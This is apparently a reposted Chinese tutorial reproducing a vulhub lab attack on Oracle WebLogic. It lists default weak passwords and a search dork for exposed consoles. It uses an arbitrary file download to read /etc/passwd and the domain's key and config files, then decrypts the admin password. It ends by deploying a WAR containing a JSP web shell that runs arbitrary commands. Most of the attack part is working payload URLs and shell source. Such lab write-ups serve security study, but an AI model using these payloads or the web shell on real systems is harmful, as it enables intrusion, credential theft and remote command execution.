Weblogic 弱密码+部署war包getshell

Posted 浪人联想

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Weblogic 弱密码+部署war包getshell相关的知识,希望对你有一定的参考价值。

Weblogic

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

WebLogic是Oracle的主要产品之一,是并购BEA得来。是商业市场上主要的Java EE应用服务器软件之 一,也是世界上第一个成功商业化的Java EE应用服务器, 已推出到12c(12.2.1.4) 版。而此产品也延伸出 WebLogic Portal,WebLogic Integration等企业用的中间件(但当下Oracle主要以Fusion Middleware 融合中间件来取代这些WebLogic Server之外的企业包),以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具。

默认端口:7001 、7002

Google关键字:WebLogic Server Administration Console inurl:console

漏洞复现

进入漏洞环境:

cd /home/ch1/Desktop/vulhub-master/weblogic/weak_password
docker-compose up -d	 
docker ps

访问 http://192.168.8.9:7001/console,即为weblogic后台。

Weblogic常见弱口令总结

system:password		
weblogic:weblogic		
admin:secruity
joe:password		
mary:password		
system:sercurity
wlcsystem: wlcsystem		
weblogic:Oracle@123
https://cirt.net/passwords?criteria=weblogic 

本环境存在:weblogic:Oracle@123

成功登陆!

破解密码

若不存在弱口令,本环境前台模拟了一个任意文件下载漏洞,访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件。

访问payload:http://192.168.8.9:7001/hello/file.jsp?path=/etc/passwd

下载并打开如下:

可以看到存在已经读取到了敏感信息,存在任意文件下载漏洞。

任意文件下载漏洞利用:

读取后台用户密文与密钥文件:

weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。

这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml

在本环境中为./security/SerializedSystemIni.dat和
./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)
1 读取 SerializedSystemIni.dat 文件

SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件:(文件格式记得是.dat)

下载payload:http://192.168.8.9:7001/hello/file.jsp?path=security/SerializedSystemIni.dat

选择需要粘贴的地方:

生成dat文件

2 下载config.xml

config.xml 是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的的值,即为加密后的管理员密码,不要找错了:

下载payload:http://192.168.8.9:7001/hello/file.jsp?path=config/config.xml

找到加密后的管理员密码:AESyvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=

解密工具在靶场的decrypt 目录下:

cd decrypt

保存到本地,双击打开 weblogic_decrypt.jar

输入好文件和密文,点击确定:

密码为Oracle@123

部署war包getshell

点击部署

选择安装

选中上载文件:

生成 1.jsp

<%
    if("123".equals(request.getParameter("pwd")))
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1)
            out.println(new String(b));
        
        out.print("</pre>");
    
%>

构造war包:

jar cvf 1.war 1.jsp

上传war包,点击下一步:

上传成功:

存放路径:

/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/upload/1.war

点击下一步到如下界面:

命名:

点击完成:

访问木马文件:

http://192.168.8.9:7001/1/1.jsp

输入payload:

http://192.168.8.9:7001/1/1.jsp?pwd=123&i=id

成功getshell
仅供学习!

以上是关于Weblogic 弱密码+部署war包getshell的主要内容,如果未能解决你的问题,请参考以下文章

Tomcat war包部署

weblogicwar包,捕获的异常在哪看

Linux Weblogic部署web项目(war包)

CentOS部署Jenkins-WAR包(方法1)

Tomcat弱密码漏洞修复方案

WebLogic远程命令执行